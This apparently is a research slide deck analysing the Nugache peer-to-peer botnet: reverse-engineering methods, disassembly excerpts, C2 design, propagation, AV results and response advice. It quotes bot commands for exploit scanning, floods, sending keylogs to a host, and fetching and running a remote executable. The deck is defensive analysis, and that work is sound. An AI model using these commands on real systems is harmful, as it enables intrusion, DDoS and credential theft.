Understanding Emerging Threats: The case of Nugache

David Dittrich
University of Washington

Bruce Dang
Microsoft Corporation
Outline

- Practical Techniques for Reverse Engineering
- Comparison of Distributed Intruder Tools Networks & Evolution of features/tactics
- Nugache - New P2P malware
- Response Implications
- Conclusions
Agenda

- Generic unpacking techniques
- Recognizing “important” functions
- Identifying cryptographic mechanisms (with and without scripts).
- Patching and dynamic analysis
Generic unpacking methods

- The packed regions must be loaded, decrypted or decompressed, and executed.
  - (most of the time) Implies `mov reg, [mem], loop, jmp / call reg/mem` (read, unpack loop, write, execute)
- Identify where these operations are happening.
- (1) You can be lazy and just look for `jmp/call reg, jmp/call [reg], jmp imm`
- (2) Memory breakpoints on write/execute regions.
- (3) “guess” what library calls might be made and set a global breakpoint there (i.e., `socket()`, `gethostbyname()`, `connect()`, etc.)
- (4) One instruction at a time …
Recognizing “important” functions

- Familiarize yourself with common call chains and function relationship: socket, gethostbyname, connect, `send`, `recv`, close; CreateFile, ReadFile, WriteFile, CloseHandle, ...

- Example: functions where `send/recv` occurs are typically dealing with network data; hence, they will be processing important buffers. Give friendly names and use cross-reference to your advantage.

- If they use encryption, they will need to encrypt the buffer before passing it to `send`; hence, trace backwards to where it was created and give it a friendly name “XXX_encrypt_buffer.” The same applies for `recv`.

- Use cross-reference on strings because they usually give important clues about the function itself. “NICK %s” + “JOIN %s” -> probably IRC handler. “200 Command okay” + “212 Directory status” -> probably FTP handler.

- Identify a KNOWN function, then use cross-reference to trace backwards and give it a meaningful name.
Code is usually written by humans so you can understand it too ...
Identifying cryptographic mechanisms

- WITH scripts
  - findcrypt (IDA and OllyDBG)
  - Krypto Kanal (PEID)

- WITHOUT scripts
  - (symmetric) Identify S-box values (a huge array of integers section). Use cross-reference on the array and give it a friendly name. Repeat until it makes sense. Matrix operations. Setkey -> encrypt
  - (asymmetric) Identify common public exponents (65537) and big integer multiplication.
  - (hash) HUGE functions which only consist of mov and arithmetic instructions. Think of common call chains: MD5Init -> MD5Update -> MD5Final. I wrote an IDA script to do this.
  - PRNG – no generic way.. Identify common seeders, GetTickCount(), GetCursorPos(), routines with lower/upper bounds arguments, time(NULL), XREFs against functions that you suspect to use PRNG (i.e., random email/contact...).
RNG proc near

Point= tagPOINT ptr -8
arg_0= dword ptr 8
arg_4= dword ptr 0Ch

push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
lea eax, [ebp+Point]
push eax
call ds:GetCursorPos
mov esi, ds:GetTickCount
xor edi, edi
call esi; GetTickCount
shr eax, 2
imul eax, [ebp+Point.x]
add eax, [ebp+Point.y]
push 3
xor edx, edx
pop ecx
div ecx
test edx, edx
jbe short loc_410B64

loc_410B47:
call RNG_0
inc edi
call esi; GetTickCount
shr eax, 2
imul eax, [ebp+Point.x]
add eax, [ebp+Point.y]
push 3
xor edx, edx

Copyright © 2006-2008 David Dittrich, Bruce Dang. All Rights Reserved
movzx ecx, byte ptr [ebp+var_7C]
xor esi, ds:AES_T_Array[ecx*4]
mov ecx, [ebp+var_8]
xor esi, [eax-78h]
shr ebx, 10h
mov [ebp+var_3C], esi
movzx esi, bl
shr ecx, 18h
mov ecx, ds:dword_42AC48[ecx*4]
xor ecx, ds:dword_42A848[esi*4]
mov ebx, edx
shr ebx, 8
movzx esi, bl
xor ecx, ds:dword_42A448[esi*4]
movzx esi, byte ptr [ebp+var_18]
xor ecx, ds:AES_T_Array[esi*4]
mov ebx, [ebp+var_8]
xor ecx, [eax-74h]
shr ebx, 10h
movzx esi, bl
mov ebx, [ebp+var_10]
mov esi, ds:dword_42A848[esi*4]
shr ebx, 8
movzx edi, bl
xor esi, ds:dword_42A448[edi*4]
mov edi, [ebp+var_24]
movzx edx, dl
mov [ebp+arg_8], esi
shr edi, 18h
xor esi, ds:dword_42AC48[edi*4]
xor esi, ds:AES_T_Array[edx*4]
mov edx, [ebp+var_C]
xor esi, [eax-70h]
shr edx, 8
mov [ebp+var_34], esi
movzx edx, dl
mov esi, ds:dword_42A448[edx*4]
mov edx, [ebp+var_24]
Compiling file 'C:\Users\bda\Desktop\icount.idc'...
Executing function 'main'...
could not find instruction count hash. creating one...

135 add
064 and
001 dec
001 jnz
065 lea
001 leave
181 mov
002 movzx
046 not
114 or
004 pop
005 push
001 retn
066 shl
004 shr
001 sub
046 xor

MDSCore's total/unique instruction count: 797/17
Compiling file 'C:\Users\bda\Desktop\icount.idc'...
Executing function 'main'...
could not find instruction count hash. creating one...

801 add
004 dec
001 inc
001 jmp
002 jnz
002 jz
001 lea
001 leave
724 mov
352 movzx
016 or
003 pop
004 push
001 retn
017 shl
360 shr
002 sub
001 test
466 xor

AES_core's total/unique instruction count: 1959/19
Patching and dynamic analysis

- Identify the important routines you want to patch. Good targets are ones that do the encryption/decryption.
- There are several ways you can to do it.
- Easiest patching method: write your logging function in a padding zone, carve out 5 bytes for a long JMP to the padding zone, JMP back and resume execution.
To Sum Up

- Reverse engineering is non-trivial, but is a critical skill for agile response
- RE is under-appreciated as a Software Engineering discipline
- Static and dynamic analysis techniques complement each other (especially with C++)
- What can you learn from RE? (we move on…)
Comparison of Distributed Intruder Tool Networks

- Command and control (C2) Structures for Distributed Malware
- Code reuse/feature convergence
- Tactical convergence and advances in attack methodologies
Command & Control (C2) Structures

- Handler/Agent
- IRC Botnet
- Peer to Peer

Command and control structures in malware: From Handler/Agent to P2P, by Dave Dittrich and Sven Dietrich, USENIX ;login: vol. 32, no. 6, December 2007, pp. 8-17
Propagating mechanisms

1. Exploitation of remotely accessible vulnerabilities in the Windows LSASS (139/tcp) and RPC-DCOM (445/tcp) services

2. Email to targets obtained from WAB except those containing specific substrings (e.g., “icrosof”, “ecur”, “buse”, “.gov”, “.mil”, etc.)

3. Messaging AIM and MSN buddy list members with randomly formed sentence and URL

4. Trojan Horse dropper associated with “celebrity video clips” (TROJ_DLOADER.IBZ), AOL Journal posts, etc.

5. Trojan Horse SETUP.EXE on “free download” sites
Nugache - Features

- Successful P2P C&C
  - Original on 8/tcp (now on random high-numbered ports)
  - All C2 over P2P channel (including updates)
  - Advanced use of crypto
    - RSA key exchange
    - Rijndael-256-OFB (w/per-session symmetric keys)
    - Signed commands and binary (4096 bit key)

- Feature-rich, OO shell command set
- Exposes only a *limited subset* of peers to traffic analysis
## Feature Comparison

<table>
<thead>
<tr>
<th></th>
<th>Storm</th>
<th>Nugache</th>
</tr>
</thead>
<tbody>
<tr>
<td>Primary C2</td>
<td>“Pull” from C2 servers</td>
<td>P2P</td>
</tr>
<tr>
<td>Initial Peer List Seeding</td>
<td>Text file</td>
<td>Built-in, or pre-loaded into Registry (HKCU)</td>
</tr>
<tr>
<td>Use of Crypto for C2 Comms</td>
<td>MD4 hash to conceal file names, 320bit shared key</td>
<td>512-1024bit RSA key exchange, Rijndael-256-OFB session keys</td>
</tr>
<tr>
<td>Use of DNS in C2</td>
<td>None/”Fast Flux” to hide C2 servers</td>
<td>None</td>
</tr>
<tr>
<td>Connectivity</td>
<td>Hundreds</td>
<td>~1 dozen</td>
</tr>
<tr>
<td>Updates</td>
<td>By command (not at all?)</td>
<td>Automatic</td>
</tr>
<tr>
<td>Listening port</td>
<td>Random high-numbered</td>
<td>Random high-numbered</td>
</tr>
<tr>
<td>Architecture</td>
<td>Multipartite</td>
<td>Monolithic</td>
</tr>
<tr>
<td>Detection</td>
<td>Visible on host; eDonkey traffic detectable by signature</td>
<td>Visible on host; P2P traffic not easily detected by signature</td>
</tr>
</tbody>
</table>

*Analysis of the Storm and Nugache Trojans: P2P is here*, Sam Stover, Dave Dittrich, John Hernandez, and Sven Dietrich, USENIX;login: vol. 32, no. 6, December 2007, pp. 18-27
Common **Mis**conceptions

- “TCP Port 8”  
  [random, >1024]
- Worm [RAT]
- Built in list used for propagation, or “requesting peer list” [not quite: just an initial contact list]
- Bot keeps track of all peers [v21: only servants, and N <= 100]

- Uses “scale-free” structure [v21: random, ~10/cluster]
- Uses WASTE for C2 [RSA/Rijndael]
- Is overtaking Storm  
  [actually, its in decline: sure(why) != TRUE]
- Is Rizo [is not]
- Is copying Storm [vice versa?: predates Storm by ~1 year]
Analysis and Observations

- AV
- Network traffic analysis
- Propagation and DDoS activity
# AV Scan Results (Dec. 2006)

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Ver</th>
<th>Update</th>
<th>Sample A (8mos. old)</th>
<th>Sample B (5 mos. old)</th>
<th>Sample C (3 mos. old)</th>
</tr>
</thead>
<tbody>
<tr>
<td>AntiVir</td>
<td>7.3.0.19</td>
<td>20060129</td>
<td>-</td>
<td>Worm/IRCBot.173056.22</td>
<td>-</td>
</tr>
<tr>
<td>Authentium</td>
<td>4.93.8</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Avast</td>
<td>4.7.892.0</td>
<td>20060129</td>
<td>Win32:Nugahe</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>AVG</td>
<td>386</td>
<td>20060129</td>
<td>IRC/BackDoor.Nugahe.A</td>
<td>BackDoor.Generic3.JVP</td>
<td>-</td>
</tr>
<tr>
<td>BitDefender</td>
<td>7.2</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>CAT-QuickHeal</td>
<td>8.00</td>
<td>20060129</td>
<td>Suspicious - DNAScan</td>
<td>Suspicious - DNAScan</td>
<td>Suspicious - DNAScan</td>
</tr>
<tr>
<td>ClamAV</td>
<td>devel-20060426</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>DrWeb</td>
<td>4.33</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>eSafe</td>
<td>7.0.14.0</td>
<td>20060129</td>
<td>Suspicious Trojan/Worm</td>
<td>Suspicious Trojan/Worm</td>
<td>Suspicious Trojan/Worm</td>
</tr>
<tr>
<td>eTrust InoculateIT</td>
<td>23.73.91</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>eTrust Vet</td>
<td>30.3.3262</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Ewido</td>
<td>4.0</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>F-Prot</td>
<td>3.16f</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>F-Prot4</td>
<td>4.2.1.29</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Fortinet</td>
<td>2.82.0.0</td>
<td>20060129</td>
<td>W32/Nugahe.a@mm</td>
<td>Suspicious</td>
<td>Suspicious</td>
</tr>
<tr>
<td>Ibarus</td>
<td>T3.1.0.27</td>
<td>20060129</td>
<td>Email-Worm.Win32.Nugahe.a</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>4.0.2.24</td>
<td>20060129</td>
<td>Email-Worm.Win32.Nugahe.a</td>
<td>Backdoor.Win32.IRCBot.th</td>
<td>-</td>
</tr>
<tr>
<td>McAfee</td>
<td>4922</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Microsoft</td>
<td>1.1004</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>NOD32 &amp; v2</td>
<td>1929</td>
<td>20060129</td>
<td>Probably unknown NewHuev PE virus</td>
<td>Probably unknown NewHuev PE virus</td>
<td>Probably unknown NewHuev PE virus</td>
</tr>
<tr>
<td>Norman</td>
<td>5.80.02</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Panda</td>
<td>9.0.0.4</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Prevx1</td>
<td>V2</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Sophos</td>
<td>4.12.0</td>
<td>20060128</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Sunbelt</td>
<td>2.2.907.0</td>
<td>20060128</td>
<td>VIPRE,Suspicious</td>
<td>VIPRE,Suspicious</td>
<td>VIPRE,Suspicious</td>
</tr>
<tr>
<td>TheHacker</td>
<td>6.0.3.134</td>
<td>20060128</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>UNA</td>
<td>1.83</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>VBA32</td>
<td>3.11.1</td>
<td>20060129</td>
<td>Suspected Backdoor.xBot.1 (paranoid heuristics)</td>
<td>Suspected Backdoor.xBot.1 (paranoid heuristics)</td>
<td>Suspected Backdoor.xBot.1 (paranoid heuristics)</td>
</tr>
<tr>
<td>VirusBuster</td>
<td>4.3.19:9</td>
<td>20060129</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>
Seven Days in the Life…
Example of use (from IRC)

2006/05/19  01:04  GMT

#ch4nn3l :scan:exploit,lsass
#ch4nn3l :scan:start,3000
#ch4nn3l :scan:target,add,192.168.0.*
#ch4nn3l :scan:target,add,192.168.1.*
#ch4nn3l :scan:target,add,192.168.100.*
#ch4nn3l :scan:target,add,R5000
#ch4nn3l :scan:target,current
#ch4nn3l :spaim:10

Replies:

:LSASS Operating system (192.168.1.121) is WinXP
   [213 times]
:Sent execute to AIM_USER_NICK
   [103 times]
## IRC Bots vs. 8/tcp Peers

<table>
<thead>
<tr>
<th>Set</th>
<th>Time to Observe</th>
</tr>
</thead>
<tbody>
<tr>
<td>at2as.bots</td>
<td>34 mins.</td>
</tr>
<tr>
<td>l2k.bots</td>
<td>2 mins.</td>
</tr>
<tr>
<td>port8.peers</td>
<td>48 days</td>
</tr>
</tbody>
</table>

*Diagram showing the overlap of sets and data points.*

<table>
<thead>
<tr>
<th>#</th>
<th>Act</th>
<th>Ter</th>
<th>Category</th>
<th>nChargers</th>
<th>nTotal</th>
<th>pValue</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>✔</td>
<td>✔</td>
<td>at2as.bots</td>
<td>1106</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>✔</td>
<td>✔</td>
<td>l2k.bots</td>
<td>1303</td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>✔</td>
<td>✔</td>
<td>port8.peers</td>
<td>1974</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## Command Examples

- **Discrete commands**
  
  AIM.Spread(10);

  Scripts.AbortAll();

- **Looping**
  
  ```
  while(1){
    HTTP.Visit("http://www.example.com/target.php", 0);
  }
  ```

- **Logical operations**
  
  ```
  if(Rand(0,99)==0){
    Sleep(Rand(0, 16000000));
    Logs.Send("10.0.0.1", 80);
  }

  if(!PVAR.IsSet("mail")){
    HTTP.Execute("http://bogus-site.com/addressgrabber.exe");
    PVAR.Set("mail", 1);
  }
  ```

- **Command sequences**
  
  ```
  Scan.Targets.Clear();
  Scan.SetExploit("asn1smbnt");
  Scan.Targets.Add("R99999999");
  Scan.Start(20000);

  Scan.Pause();
  [some time later…]
  Scan.Start();
  [some time later…]
  Scan.Stop();
  ```
Propagation Events

Update and Propagation Events

- 445/tcp and 139/tcp scan: Random (Va JRC) (05/19/2006)
- 139/tcp scan: Random (10/07/2006)
- 139/tcp scan: Random (10/10/2006)
- 139/tcp scan: Random (10/14/2006)
- 139/tcp scan: Random (10/22/2006)
- 139/tcp scan: Random (10/27/2006)
- 139/tcp scan: Random (10/28/2006)
- 139/tcp scan: Random (11/08/2006)
- 139/tcp scan: Random (12/07/2006)


- 139/tcp scan: Random (06/19/2007)

- V19 (10/12/2006)
- www.tiny-url.us registrado (10/12/2006)
- V17 (10/06/2006)
- V16 (09/23/2006)
- V14 (09/22/2006)
- V11 (06/24/2006)
- V12 (07/11/2006)
- Installed Bot A (04/30/2006)

- Agg. 1 download count pumping starts (01/16/2007)
- V21 (01/08/2007)
- Aggregator 1 link set up (01/05/2007)
- V20 (01/03/2007)
- AOL Journal posting (10/06/2006)
- TROJ_DOWNLOADER.1BZ "celeb video" spam (12/18/2006)

- V21a moved to www1xxxxxXXXXXX.com (08/02/2007)
- mynetwatchman report (V21b) (07/21/2007)
- V21a installed on www.tiny-url.us (06/29/2007)
Social Engineered Trojan Dropper Attack
Download site

Counts from Site 2, not site shown here.

Copyright © 2006-2008 David Dittrich, Bruce Dang. All Rights Reserved
Enumeration Experiments

- Queried all *reachable* bots for:
  - Connected peers (clients)
  - Known peers
  - Version, etc.

- 90 samples
- 160 hosts always up and reachable
Enumeration Experiment #3

Botnet Enumeration Experiments #2 and #3 combined

- Known to Botnet
- Active
- Reachable

Date

06/01/07 07/01/07 08/01/07 09/01/07 10/01/07 11/01/07 12/01/07 01/01/08 02/01/08 03/01/08

Bots

0 1000 2000 3000 4000 5000 6000 7000 8000 9000 10000 11000
Microsoft serves light fare on Patch Tuesday

No critical patches for most Windows users

By Dan Goodin in San Francisco - More by this author
Published Tuesday 11th September 2007 23:30 GMT
Green Compliant - Where do we stand?

Microsoft served comparatively modest fare for its monthly patch release on Tuesday, issuing only four security-related updates, only one of which carried its top severity rating of critical. It plugged a hole in a Windows 2000 component, while the other updates fixed vulnerabilities rated as important in instant messenger programs, Visual Studio .Net and Windows services for Unix found on several different versions of the Windows operating system.

In a rare event, the typical Windows user is likely to have just one patch to install. It addresses a vulnerability in the MSN Instant Messenger and Windows Live Messenger that could allow an attacker to take over a machine by tricking a victim into clicking on a specially crafted chat request. Despite MSN Messenger being installed on every copy of Windows, Microsoft rated the flaw important, presumably because it can’t be exploited without the user taking action first.

Some users may have no patches to install, as was the case with this reporter. That’s because the vulnerability doesn’t affect Windows Live Messenger version 8.1, which was installed on the machine. A spokeswoman says other versions of Windows Live Messenger don’t use Windows Update to install new updates. Instead, the client prompts the user to install a new version, she said. Windows Update still encouraged us to run Windows Malicious Software Removal Tool, as it does every month.
Comparison w/Storm

Source: Thorsten Holtz’ “Honeyblog”

Source: Brandon Enright
http://noh.ucsd.edu/~bmenrigh/exposing_storm.ppt
Actual structure?

Rotavirus

http://web.uct.ac.za/depts/mmi/stannard/rota.html
Sub-graph
(Degree 10)
Comparison with Gnutella

Figure 16: Map of the Surrounding of a Gnutella Client. Generated by the Gnucleus client software.

Observed Uses

- Periodic scanning for 445/tcp, 139/tcp
- DDoS attacks
  - TCP Flood (Oct 2006)
  - UDP Flood (Dec 2006)
  - Pre-Valentine’s Day DDoS on 3 targets (Feb 2007)
    - All online jewelry stores
- “Download” count-pumping of trojaned installer (Jan-Feb 2007)
- Keystroke log file searches (Feb-Jun 2007)
  - Retrieve all logs from active hosts with 1% - 100% probability (w/delay)
  - Retrieve logs only from hosts w/log containing login from any of 3 gold-backed electronic currency transfer sites
- Return count of connected peers to AIM nick (Jun 2007)
- Open password protected SOCKS proxy (Aug 2007)
Implications for the Public

- The *internet* is a hostile zone!
  - WiFi networks (home, coffee shops, etc.)
  - Free download sites
  - Blogs/IM/email…
- IDS/IPS need to cover internal, not just cross-border, traffic
- AV is not a prophylactic

*When/how do we get the equivalent of regular [external] medical checkups for digital devices?*
Response Implications

- Decreased visibility => More survivability
- Harder to stop, harder to trace back
- Expertise needed to infiltrate new botnets
- Cooperative, collaborative, and optimized response needed
Operations Considerations

- DDoS victims: Collect all source IPs (and whatever else you can collect)
- Sites w/attack peers: Collect full packet data ASAP
  - Honeywall useful at LAN level to collect data, minimize potential for harm
- Ensure log times are complete and accurate
- Record IP⇔DNS mappings (and time!)
- Put data collection at equal priority with takedown
Conclusions

- Response is about to get a LOT harder
- C&C less important; identifying peer connections more important
- Experts (w/reverse engineers) must be engaged early
- Collaborative/cooperative response will become essential (lots of opportunities to optimize)
- There is much research left to do…
Thanks and questions

- Help from: Sven Dietrich (Stevens Institute of Technology), John Hernandez (UW Tacoma, Casaba), Sam Stover (iSIGHT Partners), “others”

- Contacts:
  
  **Bruce Dang**
  Microsoft
  bda(at)microsoft.com

  **Dave Dittrich**
  University of Washington
  dittrich(at)u.washington.edu
  http://staff.washington.edu/dittrich/

http://vig.prenhall.com/catalog/academic/product/0,1144,0131475738,00.html